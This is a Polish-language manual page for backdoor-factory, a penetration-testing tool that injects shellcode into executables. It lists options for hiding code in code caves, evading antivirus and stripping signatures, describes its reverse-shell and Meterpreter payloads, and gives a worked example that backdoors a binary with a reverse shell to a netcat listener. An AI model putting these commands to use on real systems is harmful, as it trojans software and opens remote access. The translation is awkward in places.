backdoor-factory - instrukcja obsługi, opcje, przykłady poleceń


NAZWA

backdoor-factory - wstrzykiwać predefiniowany lub zdefiniowany przez użytkownika kod powłoki w plikach binarnych

STRESZCZENIE

backdoor-factory [options]

OPIS

backdoor-factory łata wykonywalne pliki binarne za pomocą pożądanego przez użytkownika kodu powłoki i kontynuuje normalne wykonywanie stanu przed poprawką.

To narzędzie jest przeznaczone wyłącznie dla specjalistów ds. bezpieczeństwa i badaczy.

To narzędzie nie obsługuje relokowalnego pliku wykonywalnego ELF (tj. skompilowanego z opcją -fPIE, sugerowaną przez wymagania dotyczące utwardzania Debiana, zobacz https://wiki.debian.org/Hardening)

Pliki binarne, takie jak ssh, mogą nie być prawidłowo zapisywane w jaskiniach, tak jak pliki binarne, takie jak delfin (w czasie pisania tej strony podręcznika).

OPCJE:

-h, --help

pokaż ten komunikat pomocy i wyjdź

-f FILE, --file=FILE

Plik do backdoora

-s SHELL, --shell=SHELL

Ładunki, które są dostępne do użytku. Użyj opcji „pokaż”, aby zobaczyć ładunki.

-H HOST, --hostip=HOST

IP C2 dla połączeń odwrotnych.

-P PORT, --port=PORT

Port, z którym można się połączyć z powrotem w przypadku odwrotnych powłok lub nasłuchiwać powłok wiążących

-J, --cave_jumping

Wybierz tę opcję, jeśli chcesz użyć kodu do jaskini, aby dodatkowo ukryć swój kod powłoki w pliku binarnym.

-a, --add_new_section

Nakaz dodania nowej sekcji do exe (lepszy sukces), ale mniej unikania AV

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Shellcode dostarczony przez użytkownika, upewnij się, że pasuje do docelowej architektury.

-c, --cave

Flaga jaskini znajdzie jaskinie kodu, których można użyć do przechowywania kodu powłoki. Spowoduje to wydrukowanie wszystkich jaskiń kodu o określonym rozmiarze. Z tym ustawieniem można użyć flagi -l.

-l SHELL_LEN, --shell_length=SHELL_LEN

Do użycia z -c, aby pomóc znaleźć jaskinie kodu o różnych rozmiarach

-o OUTPUT, --output-file=OUTPUT

Ścieżka pliku wyjściowego backdoora. Katalogi nadrzędne muszą istnieć

-n NSECTION, --section=NSECTION

Nazwa nowej sekcji musi mieć mniej niż siedem znaków

-d DIR, --directory=DIR

To jest lokalizacja plików, które chcesz wykonać backdoorem. Możesz przyspieszyć backdooring katalogu plików, wymuszając dołączenie jaskini kodu do exe za pomocą ustawienia -a.

-w, --change_access

Ta flaga zmienia sekcję, w której znajduje się jaskinia kodów, na RWE. Czasami jest to konieczne. Domyślnie włączone. Jeśli ta opcja jest wyłączona, backdoor może się nie powieść.

-i, --injector

To polecenie zmienia fabrykę backdoora w mechanizm typu „wyszukujący” i wstrzykujący kod powłoki. Edytuj ustawienia docelowe w module wtryskiwacza.

-u SUFFIX, --suffix=SUFFIX

Do użytku z wtryskiwaczem, umieszcza sufiks w oryginalnym pliku w celu łatwego odzyskania

-D, --delete_original

Do użytku z modułem wtryskiwacza. To polecenie usuwa oryginalny plik. Nie do użytku w systemach produkcyjnych. (Autor nie ponosi odpowiedzialności za głupie użycie.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Punkt początkowy na przesunięciu dysku, w bajtach. Niektórzy autorzy chcą zaciemnić swoje przesunięcie na dysku, aby uniknąć inżynierii wstecznej, jeśli znajdziesz jeden z tych plików, użyj tej flagi po znalezieniu przesunięcia.

-S, --support_check

Aby określić, czy plik jest obsługiwany przez BDF przed backdoorem pliku. Do użytku samodzielnie lub z rozwlekłym. Ta kontrola odbywa się automatycznie, jeśli zostanie podjęta próba backdooringu.

-M, --cave-miner

Przyszłe użycie, aby pomóc określić najmniejszy możliwy kod powłoki w pliku PE

-q, --no_banner

Zabija sztandar.

-v, --verbose

Wyjście informacji debugowania.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Tylko pliki binarne typu ALL, x86 lub x64. Domyślnie=WSZYSTKIE

-Z, --zero_cert

Pozwala na nadpisanie wskaźnika do tabeli certyfikatów PE, skutecznie usuwając certyfikat z pliku binarnego pod każdym względem.

-R, --runas_admin

EKSPERYMENTALNIE Sprawdza pliki binarne PE pod kątem „requestedExecutionLevel level="highestAvailable"'. Jeśli ten ciąg jest zawarty w pliku binarnym, musi działać jako system/admin. Jeśli nie jest w trybie sprawdzania pomocy technicznej, spróbuje załatać najwyższą dostępność do manifestu, jeśli istnieje wpis requestExecutionLevel.

-L, --patch_dll

Użyj tego ustawienia, jeśli NIE chcesz aktualizować bibliotek DLL. Patche domyślnie.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Dla formatu MACH-O. Jeśli gruby plik, skup się na tym, który łuk załatać. Wartość domyślna to x64. Aby wymusić x86, użyj -F x86, aby wymusić oba łuki, użyj -F ALL.

-B BEACON, --beacon=BEACON

W przypadku ładunków, które mają możliwość wysyłania sygnału nawigacyjnego, ustaw czas w sekundach

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Metody łatania plików PE, „ręczne”, „automatyczne”, zastępowanie i onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Dla cebulowego księcia. Podaj żądany plik binarny.

-X, --xp_mode

Domyślnie: NIE obsługuj starszych maszyn XP, użyj -X, aby obsługiwać XP. Domyślnie plik binarny ulegnie awarii na komputerach XP (np. Piaskownicach)

-A, --idt_in_cave

EKSPERYMENTALNIE Domyślnie nowa tabela katalogu importu jest tworzona w nowej sekcji, wywołanie tej flagi spowoduje umieszczenie jej w jaskini kodu. W niektórych przypadkach może to spowodować awarię bianry. Najpierw przetestuj docelowe pliki binarne.

-C, --code_sign

Dla osób posiadających certyfikaty współprojektowania, które chcą podpisywać tylko pliki binarne PE. Nazwij odpowiednio swój klucz podpisu i klucz prywatnysigncert.cer isignPrivateKey.pem w katalogu certs. Uzyskanie certyfikatów podpisu zależy od Ciebie.

-p, --preprocess

Aby wykonać skrypty przetwarzania wstępnego w katalogu przetwarzania wstępnego

O SHELLCODACH

W backdoor-factory jest kilka predefiniowanych kodów powłoki. Ich dostępność zależy od typu celu (ELF32, ELF64, PE32...). Lista kodów powłoki jest zdefiniowana poniżej.

dla wszystkich opartych na procesorach Intel (architektura x86 i x86_64)

reverse_shell_tcp

potrzeba: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki

delay_reverse_shell_tcp

potrzeba: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki

beaconing_reverse_shell_tcp

potrzeba: beacon, zdalny host i port do ustawienia zezwala: zdalny dostęp do powłoki

user_supplied_shellcode

potrzeba: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki

Shellcode specyficzne dla Linuksa

reverse_tcp_stager

potrzeba: pozwolenia:

Kod powłoki Windows PE32 exe

reverse_shell_tcp_inline

wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki

reverse_shell_tcp_stager_threaded

potrzeby: zdalny host i port do ustawienia zezwalają na: Wstrzyknięcie biblioteki DLL serwera Meterpreter za pośrednictwem ładunku Reflective Dll Injection

meterpreter_reverse_https_threaded

potrzeby: zdalny host i port do ustawienia zezwala: Meterpreter przez transport https

user_applied_shellcode_threaded

wymagania: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki

iat_reverse_tcp_inline

potrzeby: zdalny host i port do ustawienia pozwalają:

iat_reverse_tcp_inline_threaded

potrzeby: zdalny host i port do ustawienia pozwalają:

iat_reverse_tcp_stager_threaded

potrzeby: zdalny host i port do ustawienia zezwalają na: Wstrzyknięcie biblioteki DLL serwera Meterpreter za pośrednictwem ładunku Reflective Dll Injection

iat_user_applied_shellcode_threaded

potrzeby: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki

Kod powłoki Windows PE64 exe

delay_reverse_shell_tcp

wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki

reverse_shell_tcp

wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki

beaconing_reverse_shell_tcp

potrzebuje: beacon, zdalny host i port do ustawienia zezwala: zdalny dostęp do powłoki

user_supplied_shellcode

potrzeby: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki

PRZYKŁADY

Przykład kodowania jaskiniowego pliku binarnego ELF poprzez integrację zdalnego dostępu do powłoki przez zdalny odbiornik TCP (np. Netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

Na hoście za adresem IP 172.16.0.15 uruchom netcat w trybie nasłuchiwania:

netcat -l 172.16.0.15 8080

W miejscu docelowym uruchom plik binarny z backdoorem:

./backdoored/dolphin

Teraz na hoście 172.16.0.15 po prostu użyj swojej powłoki.

HISTORIA

Maj 2017, pierwotnie skompilowany przez Philippe'a Thierry'ego (phil at reseau-libre dot com)